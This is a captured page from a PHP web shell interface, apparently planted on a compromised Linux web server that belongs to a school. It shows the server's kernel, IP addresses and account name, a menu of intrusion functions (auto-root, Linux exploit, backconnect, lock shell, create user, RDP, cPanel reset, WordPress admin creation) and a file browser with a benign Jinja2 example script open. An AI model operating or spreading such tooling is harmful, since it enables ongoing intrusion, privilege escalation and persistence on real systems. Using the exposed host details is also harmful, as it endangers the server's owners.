Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 18.188.130.151
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
python-jinja2-2.7.2 /
examples /
basic /
[ HOME SHELL ]
Name
Size
Permission
Action
templates
[ DIR ]
drwxr-xr-x
cycle.py
277
B
-rw-r--r--
debugger.py
223
B
-rw-r--r--
inheritance.py
341
B
-rw-r--r--
test.py
611
B
-rw-r--r--
test_filter_and_linestatements...
445
B
-rw-r--r--
test_loop_filter.py
295
B
-rw-r--r--
translate.py
524
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : translate.py
from jinja2 import Environment env = Environment(extensions=['jinja2.ext.i18n']) env.globals['gettext'] = { 'Hello %(user)s!': 'Hallo %(user)s!' }.__getitem__ env.globals['ngettext'] = lambda s, p, n: { '%(count)s user': '%(count)d Benutzer', '%(count)s users': '%(count)d Benutzer' }[n == 1 and s or p] print env.from_string("""\ {% trans %}Hello {{ user }}!{% endtrans %} {% trans count=users|count %}{{ count }} user{% pluralize %}{{ count }} users{% endtrans %} """).render(user="someone", users=[1, 2, 3])
Close